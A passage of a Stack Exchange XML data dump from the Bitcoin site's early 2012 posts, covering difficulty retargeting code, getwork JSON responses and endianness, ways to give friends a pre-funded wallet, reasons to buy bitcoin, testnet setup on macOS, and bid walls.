timestamps&lt;/li&gt;&#xA;&lt;li&gt;if the difference is greater than 8 weeks, set it to 8 weeks; this prevents the difficulty decreasing by more than a factor of 4&lt;/li&gt;&#xA;&lt;li&gt;if the difference is less than half a week, set it to half a week; this prevents the difficulty increasing by more than a factor of 4&lt;/li&gt;&#xA;&lt;li&gt;multiply the difference by the current target (ie. the current &lt;code&gt;bits&lt;/code&gt; converted from 'compact' representation to the target it represents)&lt;/li&gt;&#xA;&lt;li&gt;divide the result by 2 weeks&lt;/li&gt;&#xA;&lt;li&gt;if the result is greater than the maximum target (&lt;code&gt;2^(256-32)-1&lt;/code&gt;), set it to the maximum target&lt;/li&gt;&#xA;&lt;li&gt;convert the result to 'compact' form, and use that as the new &lt;code&gt;bits&lt;/code&gt; value&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;otherwise (we're working on a block that's NOT a multiple of 2016&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if we're on testnet and it's later than 15 Feb 2012&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if it's been more than 20 minutes since the last block was found&#xA;&lt;ul&gt;&#xA;&lt;li&gt;set &lt;code&gt;bits&lt;/code&gt; to its highest possible value, &lt;code&gt;0x1d00ffff&lt;/code&gt;, which represents a difficulty of 1; this is the '&lt;code&gt;special-min-difficulty&lt;/code&gt; rule'&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;otherwise&#xA;&lt;ul&gt;&#xA;&lt;li&gt;set &lt;code&gt;bits&lt;/code&gt; to the same as in the last non-&lt;code&gt;special-min-difficulty&lt;/code&gt; rule block&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;otherwise (we're not on testnet, or it's before 15 Feb 2012)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;set &lt;code&gt;bits&lt;/code&gt; to the same as in the last block&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2013-03-01T19:57:35.370" LastActivityDate="2013-03-01T19:57:35.370" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2927" PostTypeId="2" ParentId="2924" CreationDate="2012-02-15T06:24:06.430" Score="4" Body="&lt;p&gt;Here is the relevant code from main.cpp:&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-cpp prettyprint-override&quot;&gt;&lt;code&gt;static const int64 nTargetTimespan = 14 * 24 * 60 * 60; // two weeks&#xA;static const int64 nTargetSpacing = 10 * 60;&#xA;static const int64 nInterval = nTargetTimespan / nTargetSpacing;&#xA;&#xA;...&#xA;&#xA;// Go back by what we want to be 14 days worth of blocks&#xA;const CBlockIndex* pindexFirst = pindexLast;&#xA;for (int i = 0; pindexFirst &amp;amp;&amp;amp; i &amp;lt; nInterval-1; i++)&#xA;    pindexFirst = pindexFirst-&amp;gt;pprev;&#xA;assert(pindexFirst);&#xA;&#xA;// Limit adjustment step&#xA;int64 nActualTimespan = pindexLast-&amp;gt;GetBlockTime() - pindexFirst-&amp;gt;GetBlockTime();&#xA;printf(&amp;quot; nActualTimespan = %&amp;quot;PRI64d&amp;quot; before bounds\n&amp;quot;, nActualTimespan);&#xA;if (nActualTimespan &amp;lt; nTargetTimespan/4)&#xA;    nActualTimespan = nTargetTimespan/4;&#xA;if (nActualTimespan &amp;gt; nTargetTimespan*4)&#xA;    nActualTimespan = nTargetTimespan*4;&#xA;&#xA;// Retarget&#xA;CBigNum bnNew;&#xA;bnNew.SetCompact(pindexLast-&amp;gt;nBits);&#xA;bnNew *= nActualTimespan;&#xA;bnNew /= nTargetTimespan;&#xA;&#xA;if (bnNew &amp;gt; bnProofOfWorkLimit)&#xA;    bnNew = bnProofOfWorkLimit;&#xA;&#xA;...&#xA;&#xA;return bnNew.GetCompact();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So the important steps are:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Translate the bits of block n+2015 to a BigNum target.&lt;/li&gt;&#xA;&lt;li&gt;Calculate the timespan between blocks n and n+2015 (as an integer number of seconds).&lt;/li&gt;&#xA;&lt;li&gt;Multiply the old target by the timespan.&lt;/li&gt;&#xA;&lt;li&gt;Divide the result by the desired timespan 2 weeks = 1209600 seconds. This is integer arithmetic so it's rounded down. The result is the new target.&lt;/li&gt;&#xA;&lt;li&gt;Convert the target to bits.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The code for the CBigNum class is at bignum.h.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="123594" LastEditDate="2023-08-15T19:46:45.673" LastActivityDate="2023-08-15T19:46:45.673" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2928" PostTypeId="2" ParentId="2925" CreationDate="2012-02-15T07:08:32.790" Score="1" Body="&lt;p&gt;I just started up a miner connecting to &lt;a href=&quot;http://mining.bitcoin.cz/&quot; rel=&quot;nofollow&quot;&gt;slush's pool&lt;/a&gt;.  The &lt;code&gt;getwork&lt;/code&gt; my miner sent was answered with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;id&quot;: &quot;1&quot;,&#xA; &quot;result&quot;: {&quot;hash1&quot;: &quot;00000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000010000&quot;,&#xA;            &quot;data&quot;: &quot;00000001c5993e03c08cea1b78a2190865f68698c069a8033d60e5e70000082a00000000e0884a966424aac62b4997dc0bae1c60fab2ba12887fa842f07c9cacaf24b4534f3b53931a0c290b00000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000&quot;,&#xA;            &quot;midstate&quot;: &quot;390b85042008bac15b6ce310d791c8612610a0c5ee441b252ee6abee70bf742a&quot;,&#xA;            &quot;target&quot;: &quot;ffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000&quot;&#xA;           },&#xA; &quot;error&quot;: null&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The target it gave me is 64 hex digits long.  That's around 2^256, and as such is &lt;em&gt;bigger&lt;/em&gt; than the maximum target of 2^(256-32)-1.  Then I realised the target is 'little-endian', meaning it's byte-by-byte backwards.  Reversing it gives:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is exactly 2^(256-32)-1, the maximum target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So slush's pool at least is asking me to solve blocks of difficulty 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know &lt;a href=&quot;https://en.bitcoin.it/wiki/P2Pool&quot; rel=&quot;nofollow&quot;&gt;P2Pool&lt;/a&gt; sets the difficulty to be higher, so that shares on the P2Pool sharechain will be found around every 10 seconds.  Currently to achieve that it's giving out work with difficulty &lt;code&gt;609.82&lt;/code&gt;, but it changes every few seconds based on the recent rate of finding P2Pool shares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I just checked, and it turns out I'm wrong.  Here's a &lt;code&gt;getwork&lt;/code&gt; from the P2Pool instance I'm running:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;error&quot;: null,&#xA; &quot;jsonrpc&quot;: &quot;2.0&quot;,&#xA; &quot;id&quot;: 0,&#xA; &quot;result&quot;: {&quot;hash1&quot;: &quot;00000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000010000&quot;,&#xA;            &quot;target&quot;: &quot;ffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000&quot;,&#xA;            &quot;submitold&quot;: true,&#xA;            &quot;identifier&quot;: &quot;15578&quot;,&#xA;            &quot;data&quot;: &quot;000000011e90271e3071e27e4b16142162e54a68776176deeef5fe6e000001a800000000534e460eb3798f9d4149c56dddf486610512007201745fefd7661cedbde821fa4f3b5c461a0c290b00000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000&quot;,&#xA;            &quot;midstate&quot;: &quot;acb6f89399060ab343bbd17e3a6cccb89c2211af189bec8da15284a1d5e87b29&quot;&#xA;           }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice the target is the same as on slush's pool.  It represents a difficulty of 1.  So the miner thinks it's looking for shares of difficulty 1, but P2Pool rejects any share the miner submits which has a difficulty of less than &lt;code&gt;609.82&lt;/code&gt;, or whatever the pool's difficulty is at the time.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-02-15T07:24:13.800" LastActivityDate="2012-02-15T07:24:13.800" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2929" PostTypeId="1" CreationDate="2012-02-15T12:41:05.773" Score="12" ViewCount="1028" Body="&lt;p&gt;As a Bitcoin evangelist I like to introduce Bitcoin to my friends, and if possible even get them involved by having them own a few coins themselves.&lt;/p&gt;&#xA;&lt;p&gt;The settlement of a personal debt through Bitcoin would be the perfect excuse to give someone their first coins. Who hasn't balanced expenses with their friends after a night on the town? Why not gain some new Bitcoin users in the process!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;So, is there a way to securely set someone up with a new wallet and transfer some BTC to that wallet at the same time, without requiring any action from the receiving party?Ideally, the BTC.USD exchange rate is taken into account because such debts are unlikely to be denominated in BTC already.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Imagine the following conversation taking place:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Alice: I've paid the restaurant $100. So Bob, you now owe me $50.&lt;/p&gt;&#xA;&lt;p&gt;Bob: Is it OK if I pay in Bitcoins?&lt;/p&gt;&#xA;&lt;p&gt;Alice: Sure, but how does that work?&lt;/p&gt;&#xA;&lt;p&gt;Bob: Don't worry, I'll just [PERFORM_MAGIC] so you'll have the equivalent amount of BTC in a brand new wallet straight away.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I can think of the following (slow, complex, frustration-prone) process to substitute PERFORM_MAGIC with:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Bob emailing some custom instructions telling Alice to install a&#xA;Bitcoin client&lt;/li&gt;&#xA;&lt;li&gt;Alice following these instructions and possibly&#xA;having problems with the process&lt;/li&gt;&#xA;&lt;li&gt;Alice emailing Bob her receiving&#xA;address&lt;/li&gt;&#xA;&lt;li&gt;Bob transferring the coins to Alice.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Is there a way that requires less interaction, preferably accessible from my phone?&lt;/p&gt;&#xA;" OwnerUserId="590" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-09-01T20:05:24.920" Title="How to instantly give people a pre-filled wallet to introduce them to Bitcoin?" Tags="|wallet|address|services|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2930" PostTypeId="2" ParentId="2929" CreationDate="2012-02-15T13:05:43.143" Score="2" Body="&lt;p&gt;You could open them an account at a web-based wallet (such as &lt;a href=&quot;https://strongcoin.com/&quot; rel=&quot;nofollow&quot;&gt;StrongCoin&lt;/a&gt; or &lt;a href=&quot;https://blockchain.info/wallet&quot; rel=&quot;nofollow&quot;&gt;MyWallet&lt;/a&gt;), and send the coins there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, they are supposed to generate a new address themselves later and move the coins there.&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="659" LastEditDate="2012-02-15T21:08:31.740" LastActivityDate="2012-02-15T21:08:31.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2931" PostTypeId="2" ParentId="2929" CreationDate="2012-02-15T13:22:58.573" Score="2" Body="&lt;p&gt;&lt;strong&gt;Set them up with an account on an exchange&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You pop over to an exchange, make a new account, deposit the appropriate amount in BTC and then securely provide them with the account credentials. They are then able to either cash out (and experience the joy of fiat) or get themselves a Bitcoin client and contribute to the growing Bitcoin economy.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="659" LastEditDate="2012-02-15T21:08:19.680" LastActivityDate="2012-02-15T21:08:19.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2932" PostTypeId="2" ParentId="2929" CreationDate="2012-02-15T14:05:44.670" Score="7" Body="&lt;p&gt;I would suggest starting a wallet at &lt;a href=&quot;https://blockchain.info/wallet&quot;&gt;My Wallet&lt;/a&gt; (blockchain.info). &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It's dead simple, all you have to provide is a password&lt;/li&gt;&#xA;&lt;li&gt;You don't have to enter any personal info about the person that you want to give the wallet to.&lt;/li&gt;&#xA;&lt;li&gt;As opposed to e.g. Instawallet your friend can change that password so that you no longer have access to the wallet.&lt;/li&gt;&#xA;&lt;li&gt;It is &quot;mobile friendly&quot; so you can do it from your phone, as you requested&lt;/li&gt;&#xA;&lt;li&gt;It has a sleek and professional look so it won't scare away new users&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="105" LastEditorUserId="105" LastEditDate="2012-02-15T15:45:06.840" LastActivityDate="2012-02-15T15:45:06.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2933" PostTypeId="2" ParentId="194" CreationDate="2012-02-15T16:47:50.520" Score="0" Body="&lt;p&gt;A merchant could offer their own local bitcoin processor to connect a client to, if the transaction is innaccurate, they could &quot;undo&quot; it and simply not transmit the transaction to the Bitcoin Network.&lt;/p&gt;&#xA;" OwnerUserId="1061" LastActivityDate="2012-02-15T16:47:50.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2934" PostTypeId="2" ParentId="2929" CreationDate="2012-02-15T17:27:27.350" Score="6" Body="&lt;p&gt;Simply print out a paper wallet &quot;check&quot; using &lt;a href=&quot;https://www.bitaddress.org/&quot; rel=&quot;noreferrer&quot;&gt;BitAddress&lt;/a&gt; and fund it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It includes their public key (on the left) and the private key (on the right) allowing them to &quot;deposit&quot; the funds into a Javascript wallet (such as &lt;a href=&quot;https://blockchain.info/wallet&quot; rel=&quot;noreferrer&quot;&gt;My Wallet&lt;/a&gt;) or into an account on an exchange (&lt;a href=&quot;https://mtgox.com/&quot; rel=&quot;noreferrer&quot;&gt;Mt. Gox&lt;/a&gt;, for example).  Version 0.6.0 of the official Bitcoin client will also allow them to import the private key into their own wallet using the &lt;code&gt;importprivkey &amp;lt;bitcoinprivkey&amp;gt; [label]&lt;/code&gt; bitcoind command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they don't personally want to redeem the check they can trade the slip of paper with someone else who does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, there is the risk is that the code is exposed and any party that sees the code could spend it.  But if you are describing transaction of just a few dollars, and given as gifts or payments to friends then a check like this works quite well. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;A simple alternative is to provide the URL for an &lt;a href=&quot;https://www.instawallet.org/&quot; rel=&quot;noreferrer&quot;&gt;InstaWallet&lt;/a&gt; that you've funded.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="659" LastEditDate="2012-02-15T21:09:18.493" LastActivityDate="2012-02-15T21:09:18.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2935" PostTypeId="1" AcceptedAnswerId="2936" CreationDate="2012-02-15T22:07:05.507" Score="2" ViewCount="297" Body="&lt;p&gt;When I called:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print bitcoin.getmemorypool()&#xA;print bitcoin.getwork()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;using Python JSON for a testnet BitcoinQT server, I got the following responces:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{'previousblockhash': '00000000032e361b246e96c4e594523b6ff42bc0527e560f203fb20a08a86185', 'transactions': ..., 'version': 1, 'coinbasevalue': 5000400000, 'time': 1329342730, 'bits': '1c2336a4'}&#xA;{... 'data': '0000000108a86185203fb20a527e560f6ff42bc0e594523b246e96c4032e361b000000004c50804820b143e1583c8c49dd43a6ddb8bc777c57c2da4a92b39ee0e709bf504f3c290b1c2336a400000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000', ...}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Comparing the previous block hash from GetMemoryPool and one extracted from the block header from Getwork:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000 032e361b 246e96c4 e594523b 6ff42bc0 527e560f 203fb20a 08a86185&#xA;08a86185 203fb20a 527e560f 6ff42bc0 e594523b 246e96c4 032e361b 00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From what I can see, the data is reversed in chunks of 4 bytes. Why is such a procedure done, and what other fields from those two RPC calls undergo such an operation? &lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-02-15T23:43:24.050" Title="Getwork and GetMemoryPool - why is previous block hash different?" Tags="|protocol|json-rpc|getwork|getmemorypool|endianness|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2936" PostTypeId="2" ParentId="2935" CreationDate="2012-02-15T23:43:24.050" Score="1" Body="&lt;p&gt;The value of &lt;code&gt;previousblockhash&lt;/code&gt; in &lt;code&gt;getmemorypool&lt;/code&gt; output is the block hash in big-endian order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value of &lt;code&gt;data&lt;/code&gt; in &lt;code&gt;getwork&lt;/code&gt; output is formatted as I described in &lt;a href=&quot;https://bitcoin.stackexchange.com/a/2907/659&quot;&gt;this answer&lt;/a&gt; to &lt;a href=&quot;https://bitcoin.stackexchange.com/q/2906/659&quot;&gt;your question&lt;/a&gt; about how &lt;code&gt;hash1&lt;/code&gt; is calculated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This byte order reversal on 4 byte words is done by a function called &lt;code&gt;FormatHashBuffers&lt;/code&gt; in &lt;code&gt;main.cpp&lt;/code&gt;.  It's only done for the &lt;code&gt;data&lt;/code&gt; and &lt;code&gt;hash1&lt;/code&gt; fields of the &lt;code&gt;getwork&lt;/code&gt; output.  There's no comment explaining why it's done.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2012-02-15T23:43:24.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2937" PostTypeId="1" CreationDate="2012-02-16T00:53:59.163" Score="8" ViewCount="3723" Body="&lt;p&gt;I've read the introduction to bitcoins. But the main question remains: what reasons could push me to buy bitcoins today?&lt;/p&gt;&#xA;" OwnerUserId="1069" LastEditorUserId="5406" LastEditDate="2014-10-03T11:33:38.667" LastActivityDate="2023-05-26T10:56:17.383" Title="Is there any good reason to buy Bitcoins?" Tags="|bitcoin-economy|key-selling-points|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2938" PostTypeId="2" ParentId="2937" CreationDate="2012-02-16T02:17:49.690" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;Bitcoins are currently semi-low in value, if you think they will go up in value, they are a good investment.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;One can expect their value to rise due to the bock reward being halved in about a year.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;If you suspect your local currency or banks available to you to be unstable (say, you live in Greece and you want to stay away from the greek banks), Bitcoins might be a more preferable solution to standard banking. Nobody can steal your coins.&lt;/li&gt;&#xA;&lt;li&gt;If you like new tech gadgets, getting to know Bitcoins as a possible new &quot;thing&quot; on the Internet might be up your alley.&lt;/li&gt;&#xA;&lt;li&gt;If you are performing a lot of online money transfers, especially between countries, operating in Bitcoins can save you some money.&lt;/li&gt;&#xA;&lt;li&gt;If you are dealing with people that already accept Bitcoins, it might be a necessity for you.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But in the end, there is no real reason to be &quot;pushed&quot; into using Bitcoins (at least currently). If you organically find Bitcoins to be a better solution for some problems you encounter, you can try them as an alternative. Other than that it's still a new technology for enthusiasts, computer-savvy people and speculators. If you don't find any reasons to buy them currently, chances are it might take some time before new reasons appear.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-02-16T02:17:49.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2939" PostTypeId="1" AcceptedAnswerId="2954" CreationDate="2012-02-16T02:24:16.933" Score="0" ViewCount="230" Body="&lt;p&gt;Currently I was testing RPCMiner on my Mac running a custom pool, and it appears to crash because I can't generate a proper midstate value. Which miners support generating their own midstate (as per an &lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork#midstate&quot; rel=&quot;nofollow&quot;&gt;extension&lt;/a&gt; of the protocol)?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-03-31T10:20:42.880" LastActivityDate="2016-03-31T10:20:42.880" Title="Which miners support generating their own midstate?" Tags="|mining-pools|json-rpc|protocol|mining-software|mining-technical-details|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2940" PostTypeId="2" ParentId="2937" CreationDate="2012-02-16T03:09:22.357" Score="8" Body="&lt;p&gt;For speculation, you would buy when the price is low in anticipation that the price will rise in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some signs that the currency is seeing wider use and has greater potential in the future.  For instance:&#xA; - &lt;a href=&quot;http://blockchain.info/charts/n-transactions&quot;&gt;http://blockchain.info/charts/n-transactions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concluding that that growth means that a bitcoin will be worth $4 or $2 or $32 by any certain date is more or less speculation though.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as why you might want to buy bitcoins today?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How about to participate in an online lottery where the jackpot payout return is 99% of the total wagers.  Beats the heck out of doing a scratch-off at the gas station.  Tickets are about $1 each.&#xA; - &lt;a href=&quot;http://www.bitlotto.com&quot;&gt;http://www.bitlotto.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How about for the novelty.  Have you ever bought a quart of pure maple syrup direct from the farm?&#xA; - &lt;a href=&quot;https://bitcointalk.org/index.php?topic=55594.0&quot;&gt;https://bitcointalk.org/index.php?topic=55594.0&lt;/a&gt;&#xA;or Alpaca socks?&#xA; - &lt;a href=&quot;http://www.grasshillalpacas.com/alpacaproductsforbitcoinoffer.html&quot;&gt;http://www.grasshillalpacas.com/alpacaproductsforbitcoinoffer.html&lt;/a&gt;&#xA;or a Blue Canary Night Light:&#xA; - &lt;a href=&quot;http://bluecanarynightlight.com&quot;&gt;http://bluecanarynightlight.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How about to prove your brilliance?  Bets of Bitcoin is a predictions market.&#xA; - &lt;a href=&quot;http://betsofbitco.in&quot;&gt;http://betsofbitco.in&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you want to purchase something and would rather that purchase not show on your credit card bill.  Or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe you want to make a purchase from someone on Craigslist and don't know if you can trust that they'll ship your order.  There are escrow services (with dispute resolution) available using bitcoins (compare BTCrow's 1% to escrow.com's $25 minimum fee):&#xA; - &lt;a href=&quot;http://www.btcrow.com&quot;&gt;http://www.btcrow.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you want to send a few bucks to someone in another country as an expression of appreciation.  Bitcoin transfers are nearly instant and know no borders.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-02-16T03:34:59.787" LastActivityDate="2012-02-16T03:34:59.787" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2941" PostTypeId="1" AcceptedAnswerId="2946" CreationDate="2012-02-16T07:01:50.710" Score="1" ViewCount="2138" Body="&lt;p&gt;I'm trying to setup testnet-in-a-box and I'm a little unclear on how you get the command line version working for mac as described here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/testnet-in-a-box/&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/bitcoin/files/Bitcoin/testnet-in-a-box/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed macports and ran &lt;code&gt;sudo port install bitcoin&lt;/code&gt; so I have a bitcoind executable now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin -datadir=1 -daemon&#xA;bitcoin -datadir=2 -daemon&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do I just use?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind -datadir=1&#xA;bitcoind -datadir=2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, since there are two nodes do they have to run on different ports?  Thanks&lt;/p&gt;&#xA;" OwnerUserId="540" LastActivityDate="2012-02-17T04:27:32.220" Title="How to setup testnet-in-a-box on Mac OSX?" Tags="|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2942" PostTypeId="2" ParentId="2937" CreationDate="2012-02-16T08:04:04.850" Score="0" Body="&lt;p&gt;While I like all the bullets in the other answers, for me they're currently more novelty than actual use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMHO, the major, &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2834/what-are-the-perceived-advantages-of-bitcoin-as-a-store-of-value&quot;&gt;number one reason to buy Bitcoin today is speculation&lt;/a&gt;. In some scenarios it could rise to $100, $1000, even $1,000,000 per BTC is not inconceivable. With this potential uptake, I think it's totally irrational not to invest &lt;em&gt;some&lt;/em&gt; amount into BTC (it can be as little as 1 BTC if you're relatively bearish, but with today's prices, if you're bullish, you can still acquire a large chunk of BTC without tossing a fortune into it).&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2012-02-16T08:04:04.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2943" PostTypeId="2" ParentId="2929" CreationDate="2012-02-16T08:37:40.350" Score="1" Body="&lt;p&gt;Give them a few physical bitcoins from &lt;a href=&quot;https://www.casascius.com/&quot; rel=&quot;nofollow&quot;&gt;Casascius&lt;/a&gt; or &lt;a href=&quot;http://bitbills.com/&quot; rel=&quot;nofollow&quot;&gt;BitBills&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-02-16T08:37:40.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2944" PostTypeId="1" AcceptedAnswerId="2948" CreationDate="2012-02-16T09:03:07.183" Score="29" ViewCount="34672" Body="&lt;p&gt;On the bitcointalk forums I hear a lot of talk about &quot;bid walls&quot;.  I have never heard of these in other types of financial markets.  It seems that people use them as a way to support the price of a bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think i read the forums too much that I have become confused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I understand.  If someone makes a limit buy below the current market price then that puts it on the bid side of the order book.  This will show there is demand for bitcoins.  If there is no changes to the supply of bitcoins then the market price will increase.  If someone were to put a limit sell order on bitcoins above the current market price, this would add supply of bitcoins to the market.  If there are no other changes in demand then the price will decrease.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Correct me if I am wrong, but what I read on the bitcoin forums seem to say that if someone puts a limit buy order up large enough then that will keep the price from increasing because there is not enough supply to overcome that &quot;wall&quot;.  Also the converse is said often.  That someone puts up a large sell order that supports a higher price since there is not enough demand to take that supply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I misunderstanding what the folks on bitcointalk.org are writing on bid walls?&lt;/p&gt;&#xA;" OwnerUserId="1009" LastEditorUserId="1009" LastEditDate="2012-02-16T09:41:51.113" LastActivityDate="2018-02-20T12:11:28.663" Title="What is a bid wall?" Tags="|exchanges|speculation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
